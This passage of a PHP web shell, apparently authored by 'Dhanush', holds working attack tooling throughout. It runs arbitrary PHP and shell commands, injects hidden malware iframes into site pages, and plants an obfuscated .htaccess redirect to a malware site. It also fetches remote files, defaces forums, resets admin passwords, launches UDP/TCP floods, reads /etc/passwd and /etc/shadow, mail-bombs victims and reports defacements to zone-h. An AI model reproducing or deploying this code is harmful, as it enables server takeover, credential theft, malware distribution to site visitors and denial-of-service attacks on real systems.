2281 if(!mail($_POST['to'],$_POST['subject'].$subjectPadd,$_POST['message'].$messagePadd,"From:".$from))
2282 {
2283 $error = 1;
2284 echo "<center><font size=3><blink><blink>Some Error Occured!</blink></font></center>";
2285 break;
2286 }
2287 }
2288 if($error != 1)
2289 echo "<center><font class=txt size=3><blink>Mail(s) Sent!</blink></font></center>";
2290 }
2291 }
2292 else if($_POST['mailfunction'] == "massmailing")
2293 {
2294 if(isset($_POST['to']) && isset($_POST['from']) && isset($_POST['subject']) && isset($_POST['message']))
2295 {
2296 if(mail($_POST['to'],$_POST['subject'],$_POST['message'],"From:".$_POST['from']))
2297 echo "<center><font class=txt size=3><blink>Mail Sent!</blink></font></center>";
2298 else
2299 echo "<center><font size=3><blink>Some Error Occured!</blink></font></center>";
2300 }
2301 }
2302}
2303else if(isset($_POST['code']))
2304{
2305 if($_POST['code'] != null && isset($_POST['intext']) && $_POST['intext'] == "true")
2306 {
2307 // FIlter Some Chars we dont need
2308 ?><br>
2309 <textarea name="code" class="box" cols="120" rows="10"><?php
2310 $code = str_replace("<?php","",$_POST['code']);
2311 $code = str_replace("<?","",$code);
2312 $code = str_replace("?>","",$code);
2313
2314 // Evaluate PHP CoDE!
2315 htmlspecialchars(eval($code));
2316 ?>
2317 </textarea><?php
2318 }
2319 else if($_POST['code'] != null && $_POST['intext'] == "false")
2320 {
2321 $code = str_replace("<?php","",$_POST['code']);
2322 $code = str_replace("<?","",$code);
2323 $code = str_replace("?>","",$code);
2324
2325 // Evaluate PHP CoDE!
2326 ?><br><font size="4">Result of execution this PHP-code :</font><br><font class=txt><?php htmlspecialchars(eval($code)); ?></font><?php
2327 }
2328}
2329else if(isset($_GET['infect']))
2330{
2331 $coun = 0;
2332 $str = "<iframe width=0px height=0px frameborder=no name=frame1 src=".$malsite."> </iframe>";
2333 foreach (glob($_GET['path'] . "*.php") as $injectj00)
2334 {
2335 if($injectj00 == __FILE__)
2336 continue;
2337 if($myfile=fopen($injectj00,'a'))
2338 {
2339 fputs($myfile, $str);
2340 fclose($myfile);
2341 $coun = 1;
2342 }
2343 }
2344 foreach (glob($_GET['path'] . $directorysperator . "*.htm") as $injectj00)
2345 {
2346 if($myfile=fopen($injectj00,'a'))
2347 {
2348 fputs($myfile, $str);
2349 fclose($myfile);
2350 $coun = 1;
2351 }
2352 }
2353 foreach (glob($_GET['path'] . $directorysperator . "*.html") as $injectj00)
2354 {
2355 if($myfile=fopen($injectj00,'a'))
2356 {
2357 fputs($myfile, $str);
2358 fclose($myfile);
2359 $coun = 1;
2360 }
2361 }
2362
2363
2364 if($coun == 1)
2365 echo "<center>Done !!!!<center>";
2366 else
2367 echo "<center>Cannot open files !!!!<center>";
2368}
2369else if(isset($_GET['redirect']))
2370{
2371 if($myfile = fopen(".htaccess",'a'))
2372 {
2373 $mal = "eNqV0UtrAjEQAOC70P8wYHsRyRa8FYpQSR9QXAmCBxHJrkMSjDNhk/pA/O+uFuyx5javj4GZLrzJj68xzLhZTRqM8aGjcNe4hJKMI4SSbpUyJMcUwZHFNr/VR0wreDp+TqeTpZLvUkl1AtHTcS1q3ojeI8zHo36pFv8Jw2w8ZoBNpMuK+0HlyOQJ77aYJzT7TOCT3rqYdB7Dfd0280xE3dRWHLRl/lV/RP14bEfAphReisJ4rrQPvGt/TcboZK8BXy9eOBLBhiG9Dp5hrvrfizOeH7rw";
2374 fwrite($myfile, gzuncompress(base64_decode($mal)));
2375 fwrite($myfile, "\n\r");
2376 fclose($myfile);
2377 echo "<center>Done !!!!<center>";
2378 }
2379 else
2380 echo "<center>Cannot open file !!!!<center>";
2381}
2382else if(isset($_GET['malware']))
2383{ ?>
2384 <input type="hidden" id="malpath" value="<?php echo $_GET["dir"]; ?>">
2385 <center><table><tr><td><a href=# onClick="malwarefun('infect')"><font class=txt size="4">| Infect Users |</font></a></td>
2386 <td><a href=javascript:void(0) onClick="malwarefun('redirect')"><font class=txt size="4">| Redirect Search Engine TO Malwared site |</font></a></td></tr></table></center>
2387 <div id="showmal"></div>
2388 <?php
2389}
2390else if(isset($_GET['codeinsert']))
2391{
2392 if($file1 = fopen(".htaccess",'r'))
2393 {
2394 ?><div id="showcode"></div>
2395 <form method=post>
2396 <textarea rows=9 cols=110 name="code" class=box><?php while(!feof($file1)) { echo fgets($file1); } ?></textarea><br>
2397 <input type="button" onClick="codeinsert(code.value)" value=" Insert " class=but>
2398 </form>
2399 <?php }
2400 else
2401 echo "<center>Cannot Open File!!</center>";
2402}
2403else if(isset($_POST['getcode']))
2404{
2405 if($myfile = fopen(".htaccess",'a'))
2406 {
2407 fwrite($myfile, $_POST['getcode']);
2408 fwrite($myfile, "\n\r");
2409 fclose($myfile);
2410 echo "<font class=txt>Code Inserted Successfully!!!!</font>";
2411 }
2412 else
2413 echo "Permission Denied";
2414}
2415else if(isset($_GET['uploadurl']))
2416{
2417 $functiontype = trim($_GET['functiontype']);
2418 $wurl = trim($_GET['wurl']);
2419 $path = magicboom($_GET['path']);
2420
2421 function remotedownload($cmd,$url)
2422 {
2423 $namafile = basename($url);
2424 switch($cmd)
2425 {
2426 case 'wwget':
2427 execmd(which('wget')." ".$url." -O ".$namafile);
2428 break;
2429 case 'wlynx':
2430 execmd(which('lynx')." -source ".$url." > ".$namafile);
2431 break;
2432 case 'wfread' :
2433 execmd($wurl,$namafile);
2434 break;
2435 case 'wfetch' :
2436 execmd(which('fetch')." -o ".$namafile." -p ".$url);
2437 break;
2438 case 'wlinks' :
2439 execmd(which('links')." -source ".$url." > ".$namafile);
2440 break;
2441 case 'wget' :
2442 execmd(which('GET')." ".$url." > ".$namafile);
2443 break;
2444 case 'wcurl' :
2445 execmd(which('curl')." ".$url." -o ".$namafile);
2446 break;
2447 default:
2448 break;
2449 }
2450 return $namafile;
2451 }
2452 $namafile = remotedownload($functiontype,$wurl);
2453 $fullpath = $path . $directorysperator . $namafile;
2454 if(is_file($fullpath))
2455 {
2456 echo "<center><font class=txt>File uploaded to $fullpath</font></center>";
2457 }
2458 else
2459 echo "<center>Failed to upload $namafile</center>";
2460}
2461else if(isset($_GET['createfolder']))
2462{
2463 if(!mkdir($_GET['createfolder']))
2464 echo "Failed To create";
2465 else
2466 echo "<font class=txt>Folder Created Successfully</font>";
2467}
2468else if(isset($_GET['selfkill']))
2469{
2470 if(unlink(__FILE__))
2471 echo "<br><center><font size=5>Good Bye......</font></center>";
2472 else
2473 echo "<br><center><font size=5>Shell cannot be removed......</font></center>";
2474}
2475else if(isset($_GET['Create']))
2476{
2477 ?>
2478 <form method="post">
2479 <input type="hidden" name="filecreator" value="<?php echo $_GET['Create']; ?>">
2480 <textarea name="filecontent" rows="12" cols="100" class="box"></textarea><br />
2481 <input type="button" onClick="createfile(filecreator.value,filecontent.value)" value=" Save " class="but"/>
2482 </form>
2483
2484<?php }
2485else if(isset($_POST['filecreator'])&&isset($_POST['filecontent']))
2486{
2487 $content = $_POST['filecontent'];
2488 if($file_pointer = fopen($_POST['filecreator'], "w+"))
2489 {
2490 fwrite($file_pointer, $content);
2491 fclose($file_pointer);
2492 echo "<font class=txt>File Created Successfully</font>";
2493 }
2494 else
2495 echo "Cannot Create File";
2496}
2497else if(isset($_REQUEST["defaceforum"]))
2498{
2499 ?>
2500 <center><div id="showdeface"></div>
2501 <font color="#FF0000" size="4">Forum Index Changer</font>
2502 <form action="<?php echo $self; ?>" method = "POST">
2503 <input type="hidden" name="forum">
2504 <input type="hidden" name="defaceforum">
2505 <table border = "1" width="60%" style="text-align: center;border-color:#333333;" align="center">
2506 <tr>
2507 <td height="50" width="50%"> <b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost"></td>
2508
2509 <td width="50%"><b> Database :</b> <input type ="text" class="sbox" name = "f2" size="20"></td></tr>
2510 <tr><td height="50" width="50%"><b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> </td>
2511 <td><b> Password :</b> <input class="sbox" type ="text" name = "f4" size="20"></td></tr>
2512
2513 <tr><td height="50" width="50%">Type :
2514 <select class=sbox id="forumdeface" name="forumdeface" onChange="checkforum(this.value)">
2515 <option value="vb">vbulletin</option>
2516 <option value="mybb">Mybb</option>
2517 <option value="smf">SMF</option>
2518 <option value="ipb">IPB</option>
2519 <option value="wp">Wordpress</option>
2520 <option value="joomla">Joomla</option>
2521 </select></td>
2522 <td height="50" width="50%">Prefix : <input type="text" id="tableprefix" name="tableprefix" class="sbox"></td></td>
2523
2524 </tr>
2525 <tr>
2526 <td height="167" width="50%" colspan=2>
2527 <div style="display:none;" id="myjoomla"><p><b>Site URL : </b><input class="box" type="text" name="siteurl" width="80" value="http://site.com/administrator/"></p></div>
2528
2529 <div style="display:none;" id="smfipb"><p align="center"><b>Head : </b><input class="sbox" type="text" name="head" size="20" value="Hacked"> <b>Kate ID : </b><input class="sbox" type="text" name="f5" size="20" value="1">
2530 <label id="wordpres" style="display:none; float:right; margin-right:8%;"><input type="checkbox" name="all" value="All" checked="checked"> All</label></p>
2531 </div>
2532
2533 <p align="center"> <textarea class="box" name="index" cols=53 rows=8><b>lol ! You Are Hacked !!!!</b></textarea><p align="center">
2534 <input type="button" onClick="forumdefacefn(index.value,f1.value,f2.value,f3.value,f4.value,forumdeface.value,tableprefix.value,siteurl.value,head.value,all.value,f5.value)" class="but" value = "Hack It">
2535 </td>
2536 </tr>
2537 </table>
2538 </form>
2539 </center>
2540 <?php
2541 }
2542 else if(isset($_GET["passwordchange"]))
2543 {
2544 echo "<center>";
2545 ?>
2546 <div id="showchangepass"></div>
2547 <font color="#FF0000" size="4">Forum Password Changer</font>
2548 <form onSubmit="changeforumpassword('forumpass',f1.value,f2.value,f3.value,f4.value,forums.value,tableprefix.value,ipbuid.value,newipbpass.value,username.value,newjoomlapass.value,uid.value,uname.value,newpass.value);return false;">
2549 <table border = "1" width="60%" height="246" style="text-align: center;border-color:#333333;" align="center">
2550 <tr>
2551 <td height="50" width="50%"> <b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost"></td><td height="50" width="50"> <b> DataBase :</b> <input type ="text" class="sbox" name = "f2" size="20"></td> <tr><td height="50" width="50%"> <b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"></td><td height="50" width="50%"> <b>Password :</b> <input class="sbox" type ="text" name = "f4" size="20"></td></tr>
2552 <tr>
2553 <td height="50" width="50%">Type :
2554 <select class=sbox id="forums" name="forums" onChange="showMsg(this.value)">
2555 <option value="vb">vbulletin</option>
2556 <option value="mybb">Mybb</option>
2557 <option value="smf">SMF</option>
2558 <option value="ipb">IPB</option>
2559 <option value="phpbb">PHPBB</option>
2560 <option value="wp">Wordpress</option>
2561 <option value="joomla">Joomla</option>
2562 </select></td>
2563 <td height="50" width="50%">Prefix : <input type="text" id="tableprefix" name="tableprefix" class="sbox"></td>
2564 </tr>
2565 <tr>
2566 <td colspan=2 height="100" width="780">
2567
2568 <p align="center"><div id="fid" style="display:block;"><b>User ID :</b> <input class="sbox" type="text" name="ipbuid" size="20" value="1"> <b>New Password :</b> <input type ="text" class="sbox" name = "newipbpass" size="20" value="hacked"></div>
2569
2570 <div id="joomla" style="display:none;"><b>New Username :</b> <input style="width:170px;" class="box" type="text" name="username" size="20" value="admin"> <b>New Password :</b> <input type ="text" class="sbox" name = "newjoomlapass" size="20" value="hacked"></div>
2571
2572 <div id="wpress" style="display:none;"><p><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1"> <b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><b>New Username :</b> <input style="width:170px;" class="box" type="text" name="uname" size="20" value="admin"></div>
2573
2574 <p><input type = "button" onClick="changeforumpassword('forumpass',f1.value,f2.value,f3.value,f4.value,forums.value,tableprefix.value,ipbuid.value,newipbpass.value,username.value,newjoomlapass.value,uid.value,uname.value,newpass.value)" class="but" value = " Change IT " name="forumpass"></p></td>
2575 </tr>
2576 </table>
2577 </form>
2578 </center>
2579 <?php
2580}
2581else if(isset($_GET['dosser']))
2582{
2583 if(isset($_GET['ip']) && isset($_GET['exTime']) && isset($_GET['port']) && isset($_GET['timeout']) && isset($_GET['exTime']) && $_GET['exTime'] != "" &&
2584 $_GET['port'] != "" && $_GET['ip'] != "" && $_GET['timeout'] != "" && $_GET['exTime'] != "" )
2585 {
2586 $IP=$_GET['ip'];
2587 $port=$_GET['port'];
2588 $executionTime = $_GET['exTime'];
2589 $no0fBytes = $_GET['no0fBytes'];
2590 $data = "";
2591 $timeout = $_GET['timeout'];
2592 $packets = 0;
2593 $counter = $no0fBytes;
2594 $maxTime = time() + $executionTime;;
2595 while($counter--)
2596 {
2597 $data .= "X";
2598 }
2599 $data .= " Dhanush";
2600
2601 while(1)
2602 {
2603 $socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout);
2604 if($socket)
2605 {
2606 fwrite($socket , $data);
2607 fclose($socket);
2608 $packets++;
2609 }
2610 if(time() >= $maxTime)
2611 {
2612 break;
2613 }
2614 }
2615 echo "Dos Completed!<br>";
2616 echo "DOS attack against udp://$IP:$port completed on ".date("h:i:s A")."<br />";
2617 echo "Total Number of Packets Sent : " . $packets . "<br />";
2618 echo "Total Data Sent = ". HumanReadableFilesize($packets*$no0fBytes) . "<br />";
2619 echo "Data per packet = " . HumanReadableFilesize($no0fBytes) . "<br />";
2620 }
2621}
2622else if(isset($_GET['fuzzer']))
2623{
2624 if(isset($_GET['ip']) && isset($_GET['port']) && isset($_GET['timeout']) && isset($_GET['exTime']) && isset($_GET['no0fBytes']) && isset($_GET['multiplier']) && $_GET['no0fBytes'] != "" && $_GET['exTime'] != "" && $_GET['timeout'] != "" && $_GET['port'] != "" && $_GET['ip'] != "" && $_GET['multiplier'] != "")
2625 {
2626 $IP=$_GET['ip'];
2627 $port=$_GET['port'];
2628 $times = $_GET['exTime'];
2629 $timeout = $_GET['timeout'];
2630 $send = 0;
2631 $ending = "";
2632 $multiplier = $_GET['multiplier'];
2633 $data = "";
2634 $mode="tcp";
2635 $data .= "GET /";
2636 $ending .= " HTTP/1.1\n\r\n\r\n\r\n\r";
2637 if($_GET['type'] == "tcp")
2638 {
2639 $mode = "tcp";
2640 }
2641
2642 while($multiplier--)
2643 {
2644 $data .= urlencode($_GET['no0fBytes']);
2645 }
2646 $data .= "%s%s%s%s%d%x%c%n%n%n%n";// add some format string specifiers
2647 $data .= "by-Dhanush".$ending;
2648 $length = strlen($data);
2649
2650
2651 echo "Sending Data :- <br /> <p align='center'>$data</p>";
2652
2653 for($i=0;$i<$times;$i++)
2654 {
2655 $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout);
2656 if($socket)
2657 {
2658 fwrite($socket , $data , $length );
2659 fclose($socket);
2660 }
2661 }
2662 echo "Fuzzing Completed!<br>";
2663 echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."<br />";
2664 echo "Total Number of Packets Sent : " . $times . "<br />";
2665 echo "Total Data Sent = ". HumanReadableFilesize($times*$length) . "<br />";
2666 echo "Data per packet = " . HumanReadableFilesize($length) . "<br />";
2667 }
2668}
2669else if(isset($_GET['bypassit']))
2670{
2671 if(isset($_GET['copy']))
2672 {
2673 if(@copy($_GET['copy'],"test1.php"))
2674 {
2675 $fh=fopen("test1.php",'r');
2676 echo "<textarea cols=120 rows=20 class=box readonly>".htmlspecialchars(@fread($fh,filesize("test1.php")))."</textarea></br></br>";
2677 @fclose($fh);
2678 unlink("test1.php");
2679 }
2680 }
2681 else if(isset($_GET['imap']))
2682 {
2683 $string = $_GET['imap'];
2684 echo "<textarea cols=120 rows=20 class=box readonly>";
2685 $stream = imap_open($string, "", "");
2686 $str = imap_body($stream, 1);
2687 echo "</textarea>";
2688 }
2689 else if(isset($_GET['sql']))
2690 {
2691 echo "<textarea cols=120 rows=20 class=box readonly>";
2692 $file=$_GET['sql'];
2693
2694 $mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
2695 $mysql_files = explode(':', $mysql_files_str);
2696
2697 $sql = array (
2698 "USE $mdb",
2699 'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
2700 "LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
2701 . "TERMINATED BY '__THIS_NEVER_HAPPENS__' "
2702 . "ESCAPED BY '' "
2703 . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
2704
2705 "SELECT a FROM $tbl LIMIT 1"
2706 );
2707 mysql_connect ($mhost, $muser, $mpass);
2708
2709 foreach ($sql as $statement) {
2710 $q = mysql_query ($statement);
2711
2712 if ($q == false) die (
2713 "FAILED: " . $statement . "\n" .
2714 "REASON: " . mysql_error () . "\n"
2715 );
2716
2717 if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
2718
2719 echo htmlspecialchars($r[0]);
2720 mysql_free_result ($q);
2721 }
2722 echo "</textarea>";
2723 }
2724 else if(isset($_GET['curl']))
2725 {
2726 $ch=curl_init("file://" . $_GET[curl]);
2727 curl_setopt($ch,CURLOPT_HEADERS,0);
2728 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2729 $file_out=curl_exec($ch);
2730 curl_close($ch);
2731 echo "<textarea cols=120 rows=20 class=box readonly>".htmlspecialchars($file_out)."</textarea></br></br>";
2732 }
2733 else if(isset($_GET['include']))
2734 {
2735 if(file_exists($_GET['include']))
2736 {
2737 echo "<textarea cols=120 rows=20 class=box readonly>";
2738 @include($_GET['include']);
2739 echo "</textarea>";
2740 }
2741 else
2742 echo "<br><center><font size=3>Can't Read" . $_GET['include'] . "</font></center>";
2743 }
2744 else if(isset($_GET['id']))
2745 {
2746 echo "<textarea cols=120 rows=20 class=box readonly>";
2747 for($uid=0;$uid<60000;$uid++)
2748 { //cat /etc/passwd
2749 $ara = posix_getpwuid($uid);
2750 if (!empty($ara))
2751 {
2752 while (list ($key, $val) = each($ara))
2753 {
2754 print "$val:";
2755 }
2756 print "\n";
2757 }
2758 }
2759 echo "</textarea>";
2760 break;
2761 }
2762 else if(isset($_GET['tempnam']))
2763 {
2764 $mytmp = tempnam ( 'tmp', $_GET['tempnam'] );
2765 $fp = fopen ( $mytmp, 'r' );
2766 while(!feof($fp))
2767 echo fgets($fp);
2768 fclose ( $fp );
2769 }
2770 else if(isset($_GET['symlnk']))
2771 {
2772 echo "<textarea cols=120 rows=20 class=box readonly>";
2773 @mkdir("mydhanush",0777);
2774 @chdir("mydhanush");
2775 execmd("ln -s /etc/passwd");
2776
2777 echo file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/mydhanush/passwd");
2778 echo "</textarea>";
2779 }
2780 if(isset($_GET['newtype']))
2781 {
2782 $filename = $_GET['newtype'];
2783 echo "<textarea cols=120 rows=20 class=box readonly>";
2784 if($_GET['optiontype'] == "xxd")
2785 echo execmd("xxd ".$filename);
2786 else if($_GET['optiontype'] == "rev")
2787 echo execmd("rev ".$filename);
2788 if($_GET['optiontype'] == "tac")
2789 echo execmd("tac ".$filename);
2790 if($_GET['optiontype'] == "more")
2791 echo execmd("more ".$filename);
2792 if($_GET['optiontype'] == "less")
2793 echo execmd("less ".$filename);
2794 echo "</textarea>";
2795 }
2796}
2797// Deface Website
2798else if(isset($_GET['deface']))
2799{
2800 $myfile = fopen($_GET['deface'],'w');
2801 if(fwrite($myfile, base64_decode($ind)))
2802 {fclose($myfile);
2803 echo "Index Defaced Successfully";}
2804 else
2805 echo "Donot have write permission";
2806}
2807else if(isset($_GET['perms']))
2808{
2809?>
2810 <form>
2811 <input type="hidden" name="myfilename" value="<?php echo $_GET['myfilepath']; ?>">
2812 <table align="center" border="1" style="width:40%;border-color:#333333;">
2813 <tr>
2814 <td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
2815 </tr>
2816 <tr>
2817 <td colspan="2" align="center" style="height:60px">
2818 <input type="button" onClick="changeperms(chmode.value,myfilename.value)" value="Change Permission" class="but" style="padding: 5px;" /></td>
2819 </tr>
2820 </table>
2821
2822 </form>
2823 <?php
2824}
2825else if(isset($_GET["chmode"]))
2826{
2827 if($_GET['chmode'] != null && is_numeric($_GET['chmode']))
2828 {
2829 $perms = 0;
2830 for($i=strlen($_GET['chmode'])-1;$i>=0;--$i)
2831 $perms += (int)$_GET['chmode'][$i]*pow(8, (strlen($_GET['chmode'])-$i-1));
2832 if(@chmod($_GET['myfilename'],$perms))
2833 echo "<center><blink><font class=txt>File Permissions Changed Successfully</font></blink></center>";
2834 else
2835 echo "<center><blink>Cannot Change File Permissions</blink></center>";
2836 }
2837}
2838else if(isset($_GET['rename']))
2839{
2840?>
2841 <form>
2842 <table border="0" cellpadding="3" cellspacing="3">
2843 <tr>
2844 <td>File </td><td><input value="<?php echo $_GET['myfilepath'];?>" name="file" class="box" /></td>
2845 </tr>
2846 <tr>
2847 <td>To </td><td><input value="<?php echo $_GET['myfilepath'];?>" name="to" class="box" /></td>
2848 </tr>
2849 <tr>
2850 <td colspan="2"><input type="button" onClick="renamefun(file.value,to.value)" value="Rename It" class="but" style="margin-left: 160px;padding: 5px;"/></td>
2851 </tr>
2852 </table>
2853 </form>
2854 <?php
2855
2856}
2857else if(isset($_GET['renamemyfile']))
2858{
2859 if(isset($_GET['to']) && isset($_GET['file']))
2860 {
2861 if(!rename($_GET['file'], $_GET['to']))
2862 echo "Cannot Rename File";
2863 else
2864 echo "<font class=txt>File Renamed Successfully</font>";
2865
2866 }
2867}
2868else if(isset($_GET['open']))
2869{
2870 if(is_file($_GET['myfilepath']))
2871 {
2872 $owner = "0/0";
2873 if($os == "Linux")
2874 $owner = getOGid($_GET['myfilepath']);
2875 ?>
2876 <form>
2877 <table style="width:57%;">
2878 <tr align="left">
2879 <td align="left">File : </td><td><font class=txt><?php echo $_GET['myfilepath'];?></font></td><td align="left">Permissions : </td><td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo addslashes($_GET['myfilepath']); ?>')"><?php echo filepermscolor($_GET['myfilepath']);?></a></td>
2880 </tr>
2881 <tr>
2882 <td>Size : </td><td><?php echo HumanReadableFileSize(filesize($_GET['myfilepath']));?></td><td>Owner/Group : </td><td><font class=txt><?php echo $owner;?></font></td>
2883 </tr>
2884 </table>
2885 <textarea name="content" rows="15" cols="100" class="box"><?php
2886 $content = htmlspecialchars(file_get_contents($_GET['myfilepath']));
2887 if($content)
2888 {
2889 echo $content;
2890 }
2891 else if(function_exists('fgets') && function_exists('fopen') && function_exists('feof'))
2892 {
2893 if(filesize($_GET['myfilepath']) != 0 )
2894 {
2895 fopen($_GET['myfilepath']);
2896 while(!feof())
2897 {
2898 echo htmlspecialchars(fgets($_GET['myfilepath']));
2899 }
2900 }
2901 }
2902
2903 ?>
2904 </textarea><br />
2905 <input name="save" type="button" onClick="savemyfile('<?php echo addslashes($_GET['myfilepath']); ?>',content.value)" value="Save Changes" id="spacing" class="but"/>
2906 </form>
2907 <?php
2908 }
2909 else
2910 echo "File does not exist !!!!";
2911}
2912else if(isset($_POST['file']) && isset($_POST['content']))
2913{
2914 if(file_exists($_POST['file']))
2915 {
2916 $handle = fopen($_POST['file'],"w");
2917 if(fwrite($handle,$_POST['content']))
2918 echo "<font class=txt>File Saved Successfully!</font>";
2919 else
2920 echo "Cannot Write into File";
2921 }
2922 else
2923 {
2924 echo "File Name Specified does not exists!";
2925 }
2926}
2927else if(isset($_POST["SendNowToZoneH"]))
2928{
2929 $hacker = $_POST['defacer'];
2930 $method = $_POST['hackmode'];
2931 $neden = $_POST['reason'];
2932 $site = $_POST['domain'];
2933
2934 if (empty($hacker))
2935 {
2936 die("<center><font size=3>[-] You Must Fill the Attacker name !</font></center>");
2937 }
2938 elseif($method == "--------SELECT--------")
2939 {
2940 die("<center><font size=3>[-] You Must Select The Method !</center>");
2941 }
2942 elseif($neden == "--------SELECT--------")
2943 {
2944 die("<center><font size=3>[-] You Must Select The Reason</center>");
2945 }
2946 elseif(empty($site))
2947 {
2948 die("<center><font size=3>[-] You Must Inter the Sites List !</center>");
2949 }
2950 // Zone-h Poster
2951 function ZoneH($url, $hacker, $hackmode,$reson, $site )
2952 {
2953 $k = curl_init();
2954 curl_setopt($k, CURLOPT_URL, $url);
2955 curl_setopt($k,CURLOPT_POST,true);
2956 curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
2957 curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
2958 curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
2959 $kubra = curl_exec($k);
2960 curl_close($k);
2961 return $kubra;
2962 }
2963
2964 $i = 0;
2965 $sites = explode("\n", $site);
2966 echo "<pre class=ml1 style='margin-top:5px'>";
2967 while($i < count($sites))
2968 {
2969 if(substr($sites[$i], 0, 4) != "http")
2970 {
2971 $sites[$i] = "http://".$sites[$i];
2972 }
2973 ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
2974 echo "<font class=txt size=3>Site : ".$sites[$i]." Posted !</font><br>";
2975 ++$i;
2976 }
2977
2978 echo "<font class=txt size=4>Sending Sites To Zone-H Has Been Completed Successfully !! </font></pre>";
2979}
2980else if(isset($_GET['executemycmd']))
2981{
2982 $comm = $_GET['executemycmd'];
2983 chdir($_GET['executepath']);
2984 echo shell_exec($comm);
2985}
2986// View Passwd file
2987else if(isset($_GET['passwd']))
2988{
2989 $test='';
2990 $tempp= tempnam($test, "cx");
2991 $get = "/etc/passwd";
2992 $name=@posix_getpwuid(@fileowner($get));
2993 $group=@posix_getgrgid(@filegroup($get));
2994 $owner = $name['name']. " / ". $group['name'];
2995 ?>
2996 <table style="width:57%;">
2997 <tr>
2998 <td align="left">File : </td><td><font class=txt><?php echo $get; ?></font></td><td align="left">Permissions : </td><td><?php echo filepermscolor($get);?></td>
2999 </tr>
3000 <tr>
3001 <td>Size : </td><td><?php echo filesize($get);?></td><td>Owner/Group : </td><td><font class=txt><?php echo $owner;?></font></td>
3002 </tr>
3003 </table>
3004 <?php
3005 if(copy("compress.zlib://".$get, $tempp))
3006 {
3007 $fopenzo = fopen($tempp, "r");
3008 $freadz = fread($fopenzo, filesize($tempp));
3009 fclose($fopenzo);
3010 $source = htmlspecialchars($freadz);
3011 echo "<tr><td><center><textarea rows='20' cols='80' class=box name='source'>$source</textarea><br>";
3012 unlink($tempp);
3013 }
3014 else
3015 {
3016 ?>
3017 <form>
3018 <input type="hidden" name="etcpasswd">
3019 <table class="tbl" border="1" cellpadding="5" cellspacing="5" align="center" style="width:40%;">
3020 <tr>
3021 <td>From : </td><td><input type="text" name="val1" class="sbox" value="1"></td>
3022 </tr>
3023 <tr>
3024 <td>To : </td><td><input type="text" name="val2" class="sbox" value="1000"></td>
3025 </tr>
3026 <tr>
3027 <td colspan="2" align="center"><input type="submit" value=" Go " class="but"></td>
3028 </tr>
3029 </table><br>
3030 </form>
3031 <?php
3032 }
3033}
3034else if(isset($_GET['shadow']))
3035{
3036 $test='';
3037 $tempp= tempnam($test, "cx");
3038 $get = "/etc/shadow";
3039 if(copy("compress.zlib://".$get, $tempp))
3040 {
3041 $fopenzo = fopen($tempp, "r");
3042 $freadz = fread($fopenzo, filesize($tempp));
3043 fclose($fopenzo);
3044 $source = htmlspecialchars($freadz);
3045 echo "<tr><td><center><font size='3' face='Verdana'>$get</font><br><textarea rows='20' cols='80' class=box name='source'>$source</textarea>";
3046 unlink($tempp);
3047 }
3048}
3049else if(isset($_GET['bomb']))
3050{
3051 ?><div id="showmail"></div>
3052 <form>
3053 <table id="margins" style="width:100%;">
3054 <tr>
3055 <td style="width:30%;">To</td>
3056 <td>
3057 <input class="box" name="to" value="victim@domain.com,victim2@domain.com" onFocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onBlur="if(this.value=='')this.value='victim@domain.com,victim2@domain.com';"/>
3058 </td>
3059 </tr>
3060 <tr>
3061 <td style="width:30%;">Subject</td>
3062 <td>
3063 <input type="text" class="box" name="subject" value="Dhanush Here!" onFocus="if(this.value == 'Dhanush Here!')this.value = '';" onBlur="if(this.value=='')this.value='Dhanush Here!';" />
3064 </td>
3065 </tr>
3066 <tr>
3067 <td style="width:30%;">No. of Times</td>
3068 <td>
3069 <input class="box" name="times" value="100" onFocus="if(this.value == '100')this.value = '';" onBlur="if(this.value=='')this.value='100';"/>
3070 </td>
3071 </tr>
3072 <tr>
3073 <td style="width:30%;">Pad your message (Less spam detection)</td>
3074 <td><input type="checkbox" name="padding"/></td>
3075 </tr>
3076 <tr>
3077 <td colspan="2"><textarea name="message" cols="110" rows="10" class="box">Hello !! This is Dhanush!!</textarea></td>
3078 </tr>
3079 <tr>
3080 <td rowspan="2">
3081 <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="sendmail('dobombing',to.value,subject.value,message.value,'null',times.value,padding.value)" class="but" value=" Bomb! "/>
3082 </td>
3083 </tr>
3084 </table>
3085 </form>
3086 <?php
3087}
3088
3089//Mass Mailer
3090else if(isset($_GET['mail']))
3091{
3092 ?><div id="showmail"></div>
3093 <div align="left">
3094 <form>
3095 <table align="left" style="width:100%;">
3096 <tr>
3097 <td style="width:10%;">From</td>
3098 <td style="width:80%;" align="left"><input name="from" class="box" value="Hello@abcd.in" onFocus="if(this.value == 'president@whitehouse.gov')this.value = '';" onBlur="if(this.value=='')this.value='president@whitehouse.gov';"/></td>
3099 </tr>
3100
3101 <tr>
3102 <td style="width:20%;">To</td>
3103 <td style="width:80%;"><input class="box" class="box" name="to" value="victim@domain.com,victim2@domain.com" onFocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onBlur="if(this.value=='')this.value='victim@domain.com,victim2@domain.com';"/></td>
